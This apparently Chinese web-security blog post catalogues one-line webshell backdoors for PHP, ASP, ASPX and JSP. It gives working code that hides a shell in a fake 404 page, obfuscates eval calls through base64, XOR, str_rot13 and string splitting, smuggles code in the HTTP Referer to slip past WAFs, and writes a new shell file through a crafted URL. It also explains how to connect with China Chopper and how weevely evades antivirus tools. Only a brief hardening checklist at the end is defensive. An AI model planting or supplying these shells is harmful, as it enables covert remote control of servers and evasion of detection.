強悍的PHP一句話后門
這類后門讓網站、服務器管理員很是頭疼,經常要換着方法進行各種檢測,而很多新出現的編寫技術,用普通的檢測方法是沒法發現並處理的。今天我們細數一些有意思的PHP一句話木馬。
利用404頁面隱藏PHP小馬:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php @preg_replace("/[pageerror]/e",$_POST['error'],"saft"); header('HTTP/1.1 404 Not Found'); ?>
404頁面是網站常用的文件,一般建議好后很少有人會去對它進行檢查修改,這時我們可以利用這一點進行隱藏后門。
無特征隱藏PHP一句話:
<?php session_start(); $_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']); $_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');
?>
將$_POST['code']的內容賦值給$_SESSION['theCode'],然后執行$_SESSION['theCode'],亮點是沒有特征碼。用掃描工具來檢查代碼的話,是不會報警的,達到目的了。
超級隱蔽的PHP后門:
<?php $_GET[a]($_GET[b]);?>
僅用GET函數就構成了木馬;
利用方法:
?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};
執行后當前目錄生成c.php一句話木馬,當傳參a為eval時會報錯木馬生成失敗,為assert時同樣報錯,但會生成木馬,真可謂不可小視,簡簡單單的一句話,被延伸到這般應用。
層級請求,編碼運行PHP后門:
此方法用兩個文件實現,文件1
<?php //1.php
header('Content-type:text/html;charset=utf-8'); parse_str($_SERVER['HTTP_REFERER'], $a); if(reset($a) == '10' && count($a) == 9)
{ eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6))))); }
?>
文件2
<?php //2.php header('Content-type:text/html;charset=utf-8'); //要執行的代碼 $code = <<<CODE phpinfo(); CODE; //進行base64編碼 $code = base64_encode($code); //構造referer字符串 $referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i="; //后門url $url = 'http://localhost/test1/1.php'; $ch = curl_init(); $options = array( CURLOPT_URL => $url, CURLOPT_HEADER => FALSE, CURLOPT_RETURNTRANSFER => TRUE, CURLOPT_REFERER => $referer ); curl_setopt_array($ch, $options); echo curl_exec($ch);
?>
通過HTTP請求中的HTTP_REFERER來運行經過base64編碼的代碼,來達到后門的效果,一般waf對referer這些檢測要松一點,或者沒有檢測。用這個思路bypass waf不錯。
PHP后門生成工具weevely
weevely是一款針對PHP的webshell的自由軟件,可用於模擬一個類似於telnet的連接shell,weevely通常用於web程序的漏洞利用,隱藏后門或者使用類似telnet的方式來代替web 頁面式的管理,weevely生成的服務器端php代碼是經過了base64編碼的,所以可以騙過主流的殺毒軟件和IDS,上傳服務器端代碼后通常可以通過weevely直接運行。
weevely所生成的PHP后門所使用的方法是現在比較主流的base64加密結合字符串變形技術,后門中所使用的函數均是常用的字符串處理函數,被作為檢查規則的eval,system等函數都不會直接出現在代碼中,從而可以致使后門文件繞過后門查找工具的檢查。使用暗組的Web后門查殺工具進行掃描,結果顯示該文件無任何威脅。
以上是大概介紹下邊是截圖,相關使用方法亦家就不在這介紹了,簡單的科普一下。
三個變形的一句話PHP木馬
第一個
<?php ($_=@$_GET[2]).@$_($_POST[1])?>
在菜刀里寫http://site/1.php?2=assert密碼是1
第二個
<?php $_=""; $_[+""]=''; $_="$_".""; $_=($_[+""]|"").($_[+""]|"").($_[+""]^""); ?>
<?php ${'_'.$_}['_'](${'_'.$_}['__']);?>
<?php @$_++; $__=("`"^"?").(":"^"}").("%"^"`").("{"^"/"); $___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|"); ${$__}[!$_](${$___}[$_]); ?> 1、“^”為異或運算符。在PHP中,兩個變量進行異或時,會將字符串轉換成二進制再進行異或,異或完,又將結果從二進制轉換成了字符串。 2、$_++;這行代碼的意思是對變量名為"_"的變量進行自增操作,在PHP中未定義的變量默認值為null,null==false==0,可以在不使用任何數字的情況下,
通過對未定義變量的自增操作來得到一個數字。 3、$__=("`"^"?").(":"^"}").("%"^"`").("{"^"/"); ("`"^"?") 01100000^00111111=01011111 —>”_” (":"^"}") 00111010^01111101=01000111—>”G” ("%"^"`") 00100101^01100000=01000101—>”E” ("{"^"/") 01111011^ 00101111=01010100—>”T” 得到$__=_GET 4、$___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|"); ("$"^"{") 00100100^01111011=01011111—>”_” ("~"^".") 01111110^00101110=01010000—>”P” ("/"^"`") 00101111^01100000=01001111—>”O” ("-"^"~") 00101101^01111110=01010011—>”S” ("("^"|") 00101000^01111100=01010100—>”T” 得到$___=_POST 5、${$__}[!$_](${$___}[$_]); 得到$_GET[0]($_POST[1]); 6、構造一句話木馬,將“0”當成參數,賦值為“assert” 7、使用菜刀工具連接,地址 http://ip/b.php?0=assert 密碼為1
在菜刀里寫http://site/2.php?_=assert&__=eval($_POST['pass']) 密碼是pass。如果你用菜刀的附加數據的話更隱蔽,或者用其它注射工具也可以,因為是post提交的。
第三個
($b4dboy = $_POST['b4dboy']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add');
str_rot13(‘riny’)即編碼后的eval,完全避開了關鍵字,又不失效果,讓人吐血!
最后列幾個高級的PHP一句話木馬后門:
1、 $hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e"; $hh("/[discuz]/e",$_POST['h'],"Access"); //菜刀一句話
2、 $filename=$_GET['xbid']; include ($filename); //危險的include函數,直接編譯任何文件為php格式運行
3、 $reg="c"."o"."p"."y"; $reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]); //重命名任何文件
4、 $gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e"; $gzid("/[discuz]/e",$_POST['h'],"Access"); //菜刀一句話
5、include ($uid); //危險的include函數,直接編譯任何文件為php格式運行,POST www.xxx.com/index.php?uid=/home/www/bbs/image.gif //gif插一句話
6、典型一句話 程序后門代碼 <?php eval_r($_POST[sb])?> 程序代碼 <?php @eval_r($_POST[sb])?> //容錯代碼 程序代碼 <?php assert($_POST[sb]);?> //使用lanker一句話客戶端的專家模式執行相關的php語句 程序代碼 <?$_POST['sa']($_POST['sb']);?> 程序代碼 <?$_POST['sa']($_POST['sb'],$_POST['sc'])?> 程序代碼 <?php @preg_replace("/[email]/e",$_POST['h'],"error"); ?> //使用這個后,使用菜刀一句話客戶端在配置連接的時候在"配置"一欄輸入 程序代碼 <O>h=@eval_r($_POST1);</O> 程序代碼 <script language="php">@eval_r($_POST[sb])</script> //繞過<?限制的一句話
常見的asp一句話后門收集 asp一句話木馬: <%%25Execute(request("a"))%%25> <%Execute(request("a"))%> %><%execute request("a")%><% <script language=VBScript runat=server>execute request("a")</script> <%25Execute(request("a"))%25> %><%execute request("yy")%> <%execute request(char(97))%> <%eval request(char(97))%> ":execute request("value"):a=" <script language=VBScript runat=server>if request(chr(35))<>"""" then ExecuteGlobal request(chr(35)) </script>
在數據庫里插入的一句話木馬 ┼攠數畣整爠煥敵瑳∨∣┩愾 ┼癥污爠煥敵瑳∨≡┩> 密碼為: a php一句話 <?php eval($_POST[cmd]);?> <?php system($_REQUEST['cmd']);?> aspx一句話 <script language="C#" runat="server"> WebAdmin2Y.x.y aaaaa = new WebAdmin2Y.x.y("add6bb58e139be10"); </script>
JSP一句話后門 <% if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\")+request.getParameter("f"))).write(request.getParameter("t").getBytes()); %>
如何應對PHP一句話后門:
我們強調幾個關鍵點,看這文章的你相信不是門外漢,我也就不啰嗦了:
1,對PHP程序編寫要有安全意識
2,服務器日志文件要經常看,經常備份
3,對每個站點進行嚴格的權限分配
4,對動態文件及目錄經常批量安全審查
5,學會如何進行手工殺毒《即行為判斷查殺》
6,時刻關注,或滲入活躍的網絡安全營地
7,對服務器環境層級化處理,哪怕一個函數也可做規則